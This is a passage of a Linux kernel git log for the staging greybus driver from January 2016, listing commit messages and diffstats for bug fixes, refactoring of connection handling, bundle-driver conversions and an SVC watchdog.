Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1e83ee3321447679eb327fed90f366ef18411778 Author: Michael Scott Date: Wed Jan 27 16:41:00 2016 -0800 greybus: arche-platform: assert wake-detect to complete WAKE_OUT event After SVC generates WAKE_OUT (pulling wake-detect pin low) and APB is brought out of reset, we need to assert wake-detect again to complete SVC WAKE_OUT logic. Testing Done: - Used for DB3.5/EVT1.5 hardware during bringup - Regression tested on DB3.1+ES2, DB3.1+ES3 Signed-off-by: Michael Scott Reviewed-by: Vaibhav Hiremath Tested-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 9e1aef82af47edd1697449ca8be5fd3c1c58b9bb Author: Michael Scott Date: Wed Jan 27 16:40:59 2016 -0800 greybus: arche-platform: bring SVC out of reset later in probe Move SVC deassert reset to after wake-detect pin has been pulled low in probe. Otherwise, SVC may trigger WAKE_OUT based on a default high signal. Testing Done: - Used for DB3.5/EVT1.5 hardware during bringup - Regression tested on DB3.1+ES2, DB3.1+ES3 Signed-off-by: Michael Scott Reviewed-by: Vaibhav Hiremath Tested-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 057aad29f9dec26d49671c6744d070edb8594174 Author: Michael Scott Date: Wed Jan 27 16:40:58 2016 -0800 greybus: arche-platform: ensure wake-detect pin is deasserted During DB3.5 bringup, it was noted that wake_detect signal was not properly generating SVC edge IRQ. To ensure signal goes from low to high correctly, let's bring signal low (regardless of default pin state). Testing Done: - Used for DB3.5/EVT1.5 hardware during bringup - Regression tested on DB3.1+ES2, DB3.1+ES3 Signed-off-by: Michael Scott Reviewed-by: Vaibhav Hiremath Tested-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 2 ++ 1 file changed, 2 insertions(+) commit 24988d3a253303be63c460071dd99bd4674c0880 Author: Johan Hovold Date: Thu Jan 28 12:43:29 2016 +0100 greybus: hd: fix host-device-removal race Make sure to tear down the svc and flush any on-going hotplug processing before removing the remaining interfaces. This fixes crashes due to host-device removal racing with svc hotplug/unplug processing (e.g. at "UniPro restart"). Testing Done: Verified that this fixes crashes reproducible on SDB when unloading the host-device driver module while generating hotplug/unplug events. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hd.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 3b710ec06e00ce041606678b25f9c82e95fde813 Author: Viresh Kumar Date: Wed Jan 27 11:17:00 2016 +0530 greybus: audio: Rename Audio class and remove the unused one There should be a single class macro for Audio and two protocol macros. Rename class with value 0x12 as GREYBUS_CLASS_AUDIO and remove the other unused class GREYBUS_CLASS_AUDIO_DATA. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 2 +- drivers/staging/greybus/greybus_manifest.h | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit 35e28794dcddf2eab1d53b9f3bf5a0eeee82e3c9 Author: Viresh Kumar Date: Wed Jan 27 16:57:48 2016 +0530 greybus: audio_codec: convert to bundle driver Convert the legacy audio management and data protocol drivers to a bundle driver. The Audio bundle driver can support a single management and any number of data cports, and so we expect multiple data cports to be present for the bundle during initialization. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 245 +++++++++++++++++++++++-------- drivers/staging/greybus/audio_codec.h | 7 + drivers/staging/greybus/audio_topology.c | 18 ++- drivers/staging/greybus/legacy.c | 2 - 4 files changed, 202 insertions(+), 70 deletions(-) commit 4b27be1223b048322398e04fcebef7f85c0dac0d Author: Viresh Kumar Date: Wed Jan 27 11:16:58 2016 +0530 greybus: audio_codec: Free gccodec on dia probe failure We aren't freeing the codec, that we allocated before failing to probe the connection. Free it. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 2df6396160b019d992241e2db8a6d5a15f654e69 Author: Viresh Kumar Date: Wed Jan 27 11:16:57 2016 +0530 greybus: audio_codec: Free gccodec on codec probe failure We aren't freeing the codec, that we allocated before failing to probe the connection. Free it. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 1 + 1 file changed, 1 insertion(+) commit 6e304f5963ce2136cf8fda2acfb87cfe942d2e71 Author: Bartosz Golaszewski Date: Wed Jan 27 13:17:52 2016 +0100 greybus: legacy: fix a null pointer dereference When gb_protocol_get() fails in legacy_connection_create(), we end up bailing-out before assigning lc->connection and lc->protocol. Calling legacy_connection_destroy() in that case results in a null pointer dereference. Check if lc->connection is not null before freeing it. Signed-off-by: Bartosz Golaszewski Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 3 +++ 1 file changed, 3 insertions(+) commit 5bee760890aff6dfef8b50c5e4167e9cd003ee7b Author: Axel Haslam Date: Tue Jan 26 21:26:02 2016 +0100 greybus: loopback_test: make output to csv file a parameter option Its useful to get a CSV output on stdout for test frameworks to read and parse the results. However, a csv file is not always needed. Add the -z option to create/append a csv file only when the user asks for it. Signed-off-by: Axel Haslam Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/tools/loopback_test.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit d562853d3ecc31806412635adcc590b33621b0c0 Author: Greg Kroah-Hartman Date: Tue Jan 26 15:17:08 2016 -0800 greybus: svc watchdog: allow it to be enabled/disabled from userspace Sometimes you want to disable the SVC watchdog without having to patch your kernel, so provide a sysfs file to do this. This can let us do power measurements, and let the firmware developers not go crazy worrying that the kernel is going to reset their chips with no notice. Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 8 +++ drivers/staging/greybus/svc.c | 32 ++++++++++++ drivers/staging/greybus/svc.h | 3 ++ drivers/staging/greybus/svc_watchdog.c | 60 ++++++++++++++++++---- 4 files changed, 94 insertions(+), 9 deletions(-) commit 7030f9246b55b7c186bd4bd8217162874fe29002 Author: Greg Kroah-Hartman Date: Mon Jan 25 20:13:15 2016 -0800 greybus: camera: only build module against msm kernel The camera driver currently does not build against anything other than the msm kernel, due to cross-dependancies, so enable that here so that we can build against other kernels without failing the build. Signed-off-by: Greg Kroah-Hartman Tested-by: Marti Bolivar Acked-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 839ac5b989fbfcc260d23ea4be9e3c8840e1c4e1 Author: Greg Kroah-Hartman Date: Tue Jan 26 08:57:50 2016 -0800 greybus: svc: double the ping delay timeout Sometimes the ping response comes back _right_ after we timed out, as the svc got its act together and squeaked out the ack, yet we miss it and reset the whole bus. Double the delay to hopefully give the svc a little more of a chance to fix itself. Odds are, it's still in trouble, but we can just hold off resetting it for a bit more... Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit d8b16338df9bcef1fa0a047bd3e8d2e922dc5bb8 Author: Vaibhav Hiremath Date: Tue Jan 26 07:23:29 2016 +0530 greybus: arche-platform: Disable clock as part of driver remove As part of driver remove (cleanup) function, disable the clock for both SVC, APB1 & APB2. Testing Done: Tested on EVT1 platform with Connect=>disconnect=>connect iteration, almost close to 100 iterations have passed (demo branch). And also tested with kernel-only build. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 4 ++++ drivers/staging/greybus/arche-platform.c | 1 + 2 files changed, 5 insertions(+) commit 4fbf69c71cdd3248745fd842481e946d1685f13c Author: Jacopo Mondi Date: Sat Jan 23 19:44:46 2016 -0800 greybus: camera: Stream config change unipro speed Unipro network speed was increased at camera initialization time and never slowed down. This unnecessary drains power during the entire time camera module is plugged in. Increasing/decreasing unipro link speed before issuing stream configuration request to camera module prevents this from happening. Signed-off-by: Jacopo Mondi Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 110 +++++++++++++++++++++++++++++++-------- 1 file changed, 88 insertions(+), 22 deletions(-) commit 539d6e11d266bceb597bc416060f9f2888bbd89f Author: Greg Kroah-Hartman Date: Sat Jan 23 17:36:00 2016 -0800 greybus: svc: return proper error code on watchdog create error When the watchdog is not created properly, we need to propagate the error for this and not just return success. Reported-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 1 + 1 file changed, 1 insertion(+) commit ed7279ae31b0a0a97e832bdd0eb6edb31ec2736f Author: Greg Kroah-Hartman Date: Wed Jan 20 22:51:49 2016 -0800 greybus: svc: add a "watchdog" to check the network health Now that we have a svc ping command, let's add a watchdog to call it every so often (1 second at the moment.) If it finds something went wrong, post a stern message to the kernel log and call: start unipro_reset to reset the whole greybus hardware subsystem. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/svc.c | 8 +++ drivers/staging/greybus/svc.h | 5 ++ drivers/staging/greybus/svc_watchdog.c | 109 +++++++++++++++++++++++++++++++++ 4 files changed, 123 insertions(+) commit 0f65fb1ea268a7268ab97a92d172d26d960a5d92 Author: Greg Kroah-Hartman Date: Fri Jan 22 18:26:23 2016 -0800 greybus: lsgb: Minor tweaks Make it executable on an Android system Change layout to be show heirachy a bit better. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/lsgb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 7c154711a6705bbc3036d8f64944e8882fe3fd84 Author: Gjorgji Rosikopulos Date: Fri Jan 22 17:59:44 2016 +0200 greybus: camera: add semiplanar and planar formats This change adds missing planar and semiplanar formats from gb specification. Mbus to Gb format map: V4L2_MBUS_FMT_NV12_1x8 -> 0x12 V4L2_MBUS_FMT_NV21_1x8 -> 0x13 V4L2_MBUS_FMT_YV12_1x8 -> 0x16 V4L2_MBUS_FMT_YU12_1x8 -> 0x17 Change depends on: "media: add new mediabus format enums for ara camera" Signed-off-by: Gjorgji Rosikopulos Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit f3e6c0971af62c81d0a9f0b408ae0e97248e2976 Author: Viresh Kumar Date: Fri Jan 22 16:16:08 2016 +0530 greybus: svc: Expose and retain VID/PID received from bootrom for ES2 ES2 chips doesn't have efuses for storing module's vendor_id and product_id and so we have hacked bootrom earlier using firmware protocol, so that VID/PID can be received for fetching firmware packages. Another requirement is to expose them to sysfs, so that modules can be identified properly. That can be easily solved by updating interface's VID/PID, when fetched using firmware protocol and later reusing them while the module switches its identity from bootrom to firmware. Do that only if the module is ES2 and the VID/PID sent during hotplug are both 0. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 22 ++++++++++++---------- drivers/staging/greybus/svc.c | 24 ++++++++++++++++++++++++ 2 files changed, 36 insertions(+), 10 deletions(-) commit fd7c28ebf03d7c5c293ac07fd178640582c8c137 Author: Greg Kroah-Hartman Date: Fri Jan 22 14:42:34 2016 -0800 greybus: lsgb: add lsgb shell script Horrid hack, but a start at making it easier for people to see what is currently connected without having to deal with poking around in sysfs directly. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/lsgb | 149 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 149 insertions(+) commit a547deb5105b583138e74e882b1e2aae1f76dc9c Author: Vaibhav Agarwal Date: Thu Jan 21 22:33:13 2016 +0530 greybus: audio_codec: update codec_name as per driver->name Originally, driver->name was not poluated from GB and thus manually set from audio_codec driver as a hack. This is no more required. Another patch already removes that hack. Now, with new driver->name as "legacy." codec is registered with different name. So, during DAI link registration as well it needs modification. Signed-off-by: Vaibhav Agarwal Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8eff5109616f4fb1784aa311b7544ef29b8deae9 Author: Johan Hovold Date: Thu Jan 21 17:34:26 2016 +0100 greybus: firmware: abort if AP_READY fails Abort if the AP_READY request fails. Also update the comment suggesting that this operation was a temporary one. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) commit e0deb079edc9bd403acdb1ecada0879786cc0fe3 Author: Johan Hovold Date: Thu Jan 21 17:34:24 2016 +0100 greybus: vibrator: convert to bundle driver Convert the legacy vibrator protocol driver to a bundle driver. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 1 - drivers/staging/greybus/vibrator.c | 75 +++++++++++++++++++++++++++----------- 2 files changed, 54 insertions(+), 22 deletions(-) commit 4324282d90cb02e041753240780c516f9cfe5b10 Author: Johan Hovold Date: Thu Jan 21 17:34:23 2016 +0100 greybus: hid: convert to bundle driver Convert the legacy HID protocol driver to a bundle driver. This also fixes a potential crash should a (malicious) module have sent an early request before the private data had been initialised. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 70 +++++++++++++++++++++++++++++----------- drivers/staging/greybus/legacy.c | 1 - 2 files changed, 51 insertions(+), 20 deletions(-) commit 5dd8cc5370dbf68f17ed9443be6bcc54afbef204 Author: Johan Hovold Date: Thu Jan 21 17:34:22 2016 +0100 greybus: hid: clean up init error paths Separate success and error paths more clearly. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) commit f7ee081e3151e187e7478eb8941f61744f125201 Author: Johan Hovold Date: Thu Jan 21 17:34:21 2016 +0100 greybus: connection: set request handlers at creation Set the connection request handler at creation rather than when enabling the connection. This is possible now that connections are created by the drivers that use them rather than by core at manifest parsing time. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 94 +++++++++++++++++++++++++----------- drivers/staging/greybus/connection.h | 12 ++--- drivers/staging/greybus/legacy.c | 17 ++++--- drivers/staging/greybus/svc.c | 5 +- 4 files changed, 82 insertions(+), 46 deletions(-) commit 2399032d7262f2a5dc1f22380d23b17971ed22e4 Author: Johan Hovold Date: Thu Jan 21 17:34:20 2016 +0100 greybus: legacy: look up protocol at connection creation Look up legacy protocol at connection create instead of at init. Note that we can now look up the protocol before even creating the actual connection. This is needed to be able to set a connection request handler when creating the connection rather than when enabling it. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 91 +++++++++++++++++++--------------------- 1 file changed, 42 insertions(+), 49 deletions(-) commit 63cf52f79b4c9f73657285031427ca748d11ce86 Author: Johan Hovold Date: Thu Jan 21 17:34:19 2016 +0100 greybus: connection: remove legacy protocol id from core Remove legacy protocol-id field that is only used by the legacy-protocol driver from the connection structure. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.h | 1 - drivers/staging/greybus/legacy.c | 15 +++++++-------- 2 files changed, 7 insertions(+), 9 deletions(-) commit 8278fae5d727b02af2fb7e1ac518c63569096c9f Author: Johan Hovold Date: Thu Jan 21 17:34:18 2016 +0100 greybus: legacy: add initialized flag Add initialized flag and use instead of the connection protocol pointer to determine when the legacy connection has been initialised. This is a step in moving legacy connection binding to connection-creation time. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 431b3ebb3d9e0c25081006fc7a1f97621dca6192 Author: Johan Hovold Date: Thu Jan 21 17:34:17 2016 +0100 greybus: legacy: refactor legacy-connection handling Add wrapper structure for legacy connections and add helpers to create and destroy legacy connections. This is a step in removing legacy connection fields from the core structures. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 67 +++++++++++++++++++++++++++------------- 1 file changed, 45 insertions(+), 22 deletions(-) commit 24e094d687a23878024589a854ce66a070b769cc Author: Johan Hovold Date: Thu Jan 21 17:34:16 2016 +0100 greybus: connection: return error-valued pointer on creation errors Return an ERR_PTR on errors when creating connections. This allows driver probe to fail with a more informative error message as not all connection creation errors are due to memory exhaustion. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 22 +++++++++++++++------- drivers/staging/greybus/control.c | 6 ++++-- drivers/staging/greybus/legacy.c | 10 +++++++--- drivers/staging/greybus/svc.c | 5 +++-- 4 files changed, 29 insertions(+), 14 deletions(-) commit 96c2af5c6bf7dda9498fdcea57fde1bdc677236a Author: Johan Hovold Date: Thu Jan 21 17:34:15 2016 +0100 greybus: connection: rename connection-create interface Drop the _dynamic suffix from the exported interface that drivers use to create connections. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 14 +++++++------- drivers/staging/greybus/connection.h | 2 +- drivers/staging/greybus/legacy.c | 2 +- 3 files changed, 9 insertions(+), 9 deletions(-) commit 8cff6c6473db471d7da9dd6dfbfcebdc4d617aa8 Author: Johan Hovold Date: Thu Jan 21 17:34:14 2016 +0100 greybus: connection: simplify connection-creation interface Simplify the exported generic interface for creating dynamic connections. Since all driver connections will have a bundle we can drop the redundant interface parameter. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 +++--- drivers/staging/greybus/connection.h | 4 ++-- drivers/staging/greybus/legacy.c | 3 +-- 3 files changed, 6 insertions(+), 7 deletions(-) commit e4c16f8b034047096187a9a9b49035ff5dbc8478 Author: Johan Hovold Date: Thu Jan 21 17:34:13 2016 +0100 greybus: connection: drop the legacy protocol-id parameter The protocol-id parameter is only used by the legacy driver so remove it from the generic interface and move it to the legacy driver until it can be removed completely. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 15 +++++---------- drivers/staging/greybus/connection.h | 3 +-- drivers/staging/greybus/legacy.c | 5 +++-- 3 files changed, 9 insertions(+), 14 deletions(-) commit 59507e2612379356d93de0bd1d6e0f9a36dca0da Author: Johan Hovold Date: Thu Jan 21 17:34:12 2016 +0100 greybus: connection: add helper to create control connections Add dedicated helper to create control connections. This will allow us to simplify the generic (dynamic) interface. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ++++++ drivers/staging/greybus/connection.h | 1 + drivers/staging/greybus/control.c | 4 +--- 3 files changed, 8 insertions(+), 3 deletions(-) commit bafe3f67908c68a0b1fdc527c79cd7d9106abd85 Author: Johan Hovold Date: Thu Jan 21 17:34:11 2016 +0100 greybus: connection: drop protocol parameter from static interface Drop legacy protocol parameter from static connection interface. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 ++---- drivers/staging/greybus/connection.h | 2 +- drivers/staging/greybus/svc.c | 3 +-- 3 files changed, 4 insertions(+), 7 deletions(-) commit d6fba3dbb04dac64cf7fa6d33ea7fce81ecf862c Author: Johan Hovold Date: Thu Jan 21 17:34:10 2016 +0100 greybus: manifest: check for duplicate CPort descriptors when parsing Now that connection creation has been separated from interface initialisation, we should explicitly check for duplicate CPort descriptors when parsing the manifest. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) commit 98fdf5a037f0789f1ea6e22431a4a4cc7c41829d Author: Johan Hovold Date: Thu Jan 21 17:34:09 2016 +0100 greybus: core: defer connection creation to driver probe Defer connection creation to bundle driver probe instead of creating them when initialising the interface and parsing the manifest. Store copies of the CPorts descriptors in the bundle for the drivers to use, and update the legacy driver. This is needed for drivers that need more control over host-device resource management, for example, when a protocol needs to use a dedicated host CPort for traffic offloading (e.g. camera data). This also avoids allocating host CPorts for bundles that are not bound to a driver or for remote CPorts that a driver does not need. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 8 +----- drivers/staging/greybus/bundle.h | 3 ++ drivers/staging/greybus/connection.c | 2 ++ drivers/staging/greybus/core.c | 15 ++++++---- drivers/staging/greybus/legacy.c | 56 +++++++++++++++++++++++++----------- drivers/staging/greybus/manifest.c | 35 +++++++++++++--------- 6 files changed, 77 insertions(+), 42 deletions(-) commit 6ce4cc278deca9849bd54783294be7edbe24bac0 Author: Greg Kroah-Hartman Date: Thu Jan 21 18:13:41 2016 -0800 greybus: add bundle class to the bundle uevent When bundles are added and then removed, we have a race where we go to read the sysfs file, but it is now for a different bundle than the uevent was originally for. So add the bundle class to the uevent so we "know" what the correct bundle class was. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 2 ++ 1 file changed, 2 insertions(+) commit 55ec09e898adb43cf69ebd8839e3d5656a0e7345 Author: Greg Kroah-Hartman Date: Tue Jan 19 23:30:42 2016 -0800 greybus: svc: add ping command This implements the SVC "ping" command. It's tiny and simple, but we need something like this in order for us to "know" if all is working well. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 1 + drivers/staging/greybus/svc.c | 7 +++++++ drivers/staging/greybus/svc.h | 1 + 3 files changed, 9 insertions(+) commit eb8fafdfb9fce95b7d4f4bc9d34a46863176d7f8 Author: Greg Kroah-Hartman Date: Wed Jan 20 09:27:05 2016 -0800 greybus: firmware: log the name of the firmware being requested People are getting confused as to what the firmware file name is for their module, so log it to make it easier to find modules with "blank" vid/pid values and let people know what to name their firmware files. Because we are now logging this, turn the debug message after the firmware request into an error message if something fails. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit ebe99d61815fea0ecece5ddb530b28339f8d5ed3 Author: Rui Miguel Silva Date: Thu Jan 21 01:42:17 2016 +0000 greybus: svc: add key event handling Add a new input device associated with the SVC to handle key events. This new events are transfer over a new greybus svc operation which is unidirectional. It was selected the KEY_A for representing the KEY_ARA_BUTTON key code. Signed-off-by: Rui Miguel Silva Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 10 +++ drivers/staging/greybus/svc.c | 114 ++++++++++++++++++++++++++-- drivers/staging/greybus/svc.h | 3 + 3 files changed, 121 insertions(+), 6 deletions(-) commit 4b874134284b1dbb340f063fe0cf5141ffd416b1 Author: Greg Kroah-Hartman Date: Wed Jan 20 14:41:40 2016 -0800 greybus: audio_codec: Don't be tricky with the driver model With the recent changes by Johan to the driver model of the greybus code, the audio_codec no longer should need to provide a "dummy" driver when registering the codec. In fact, having it there causes the greybus core to crash when inserting the module. Removing it all fixes the crash. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 15 --------------- 1 file changed, 15 deletions(-) commit 7d81bafa4ca477a4d364dd229bbbeffb1fa7af4e Author: Johan Hovold Date: Tue Jan 19 12:51:28 2016 +0100 greybus: legacy: add private driver data Allocate private data structure at probe and release at disconnect. The private data will be used to track the connections managed by the driver, but for now only holds a count of the number of cports the bundle has. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/legacy.c | 25 +++++++++++++++++++++++-- 1 file changed, 23 insertions(+), 2 deletions(-) commit b53e0c9e8dceb170b054f186200b2fe3fb3718f2 Author: Johan Hovold Date: Tue Jan 19 12:51:27 2016 +0100 greybus: connection: make cport lookup thread-safe Use the gb_connection_mutex when making sure a remote CPort is available. This is needed when moving to driver-managed connections that can be created and destroyed at any time. Also check for duplicate bundle-less connections. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 18 ++++++------------ 1 file changed, 6 insertions(+), 12 deletions(-) commit 210b508e45f00fd81c1ba35c979836d8ffea3980 Author: Johan Hovold Date: Tue Jan 19 12:51:26 2016 +0100 greybus: connection: serialise connection creation Serialise connection creation against concurrent creation and destruction using a global mutex. This is needed to prevent two drivers from attempting to create a connection to the same interface CPort and to cope with a racing connection destroy when moving to driver managed connections. Note that the locking can not (easily) be made more fine-grained as not all connections have an interface, but these are not hot paths anyway. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) commit 0e46fab7dd5afbb4db97d9520812c57e9301bfc2 Author: Johan Hovold Date: Tue Jan 19 12:51:25 2016 +0100 greybus: connection: fix lookup race Fix longstanding race that could lead to a connection being destroyed while processing an incoming message due to missing reference counting when looking up the connection. Add helpers to manipulate the connection kref. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 23 +++++++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) commit c6d64a19cdb39680460ab9f153e33843aa8c825c Author: Johan Hovold Date: Tue Jan 19 12:51:24 2016 +0100 greybus: connection: drop the connection_mutex Drop the useless connection_mutex that did not, and can not be used to prevent connection lookup races in atomic context and therefore serves no purpose. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit c3681f6c92df6c4ec834fc8e3fa1905e73952630 Author: Johan Hovold Date: Tue Jan 19 12:51:23 2016 +0100 greybus: connection: destroy workqueue at unregister Destroy the work queue when the connection is destroyed/deregistered instead of when the last reference is dropped. The work queue is not needed once the connection has been deregistered, and no operations will ever be added to it again (handled by checking connection->state) even if the connection object may not be deallocated until the final reference is dropped. The work-queue name is set based on the host-device name and host-device cport id, something which guarantees a unique name. This would no longer be true if the work queue was not destroyed at connection deregistration as a new connection could then be created for that very same host cport. This is not necessarily a problem unless some work queue features are used that require unique work-queue names, but let's try to be well behaved. Also update an obsolete comment and make explicit that a connection must be disabled before being destroyed. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 2edbf5ffbf5ef8b92518e57687e96a7d34ddd3c4 Author: Johan Hovold Date: Tue Jan 19 12:51:22 2016 +0100 greybus: connection: remove WARN_ON from destroy Remove WARN_ON from connection destroy testing for a NULL-connection when destroying a connection. This will allow for simpler driver code when releasing driver-managed connections. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b807aa7aa51129b1754e7d17f6a2e30e3c6f7a4b Author: Johan Hovold Date: Tue Jan 19 12:51:21 2016 +0100 greybus: control: add bundle-version operation Add bundle-version operation to fetch the version of the bundle class. Retrieve the bundle version of all bundles when initialising the interface in case the control-protocol version is greater than 0.1. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.h | 4 +++ drivers/staging/greybus/control.c | 51 +++++++++++++++++++++++++++++ drivers/staging/greybus/control.h | 3 ++ drivers/staging/greybus/greybus_protocols.h | 10 ++++++ drivers/staging/greybus/interface.c | 4 +++ 5 files changed, 72 insertions(+) commit 96a9b9b0eb2c5b9626bdad02c057fb22f133fc86 Author: Johan Hovold Date: Tue Jan 19 12:51:20 2016 +0100 greybus: connection: remove broken protocol-version handling Remove the broken legacy protocol-version handling from core and move it to the legacy driver instead. Note that version handling has always been broken as legacy protocols were looked up and bound to connections before the connections were enabled and version negotiation could take place (over that very connection). Document that in the legacy driver as well. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 4 ---- drivers/staging/greybus/connection.h | 2 -- drivers/staging/greybus/legacy.c | 16 +++++++++++++--- 3 files changed, 13 insertions(+), 9 deletions(-) commit 357de006573f0dbbd5e214dd3f2fe808157ec530 Author: Johan Hovold Date: Tue Jan 19 12:51:19 2016 +0100 greybus: svc: store protocol version Store the "negotiated" 